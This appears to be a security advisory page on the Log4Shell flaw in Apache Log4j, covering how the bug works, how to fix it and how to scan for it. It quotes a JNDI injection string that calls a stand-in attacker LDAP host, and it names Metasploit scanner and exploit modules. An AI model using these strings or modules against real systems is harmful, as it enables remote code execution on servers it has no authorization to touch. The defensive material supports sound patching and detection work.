Apache Log4j JNDI remote code execution (Log4Shell)

What it does

Log4j 2 performs message lookup substitution on logged strings. A value such as ${jndi:ldap://attacker/a} causes the library to contact an attacker-controlled LDAP server and deserialise the returned Java object, executing arbitrary code.

Any user-controlled input that reaches a log statement is an attack vector: HTTP headers, usernames, chat messages, device names. The vulnerability is trivially exploitable and was mass-scanned within hours of disclosure.

Four years on, SecureBlock honeypots still see daily scanning, mostly from botnets looking for unpatched Java services on embedded and enterprise systems.

Remediation

1. Upgrade Log4j to 2.17.1 or later (2.12.4 for Java 7, 2.3.2 for Java 6).
2. Where upgrading is not possible, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
3. Inventory transitive dependencies with an SBOM tool; Log4j is often bundled several layers deep inside vendor products.

Enumeration

Detection templates and scanners you can run to find exposed instances on your own attack surface.

$ msfconsole -q -x "use auxiliary/scanner/http/log4shell_scanner; show options"

$ nuclei -id CVE-2021-44228 -u https://TARGET

Exploitation

Working exploit modules and public PoCs. Use only against systems you own or are authorized to test.

$ msfconsole -q -x "use exploit/multi/http/log4shell_header_injection; show options"

References

• Apache Log4j security pagelogging.apache.org
• CISA Log4j guidancewww.cisa.gov
• NVD recordnvd.nist.gov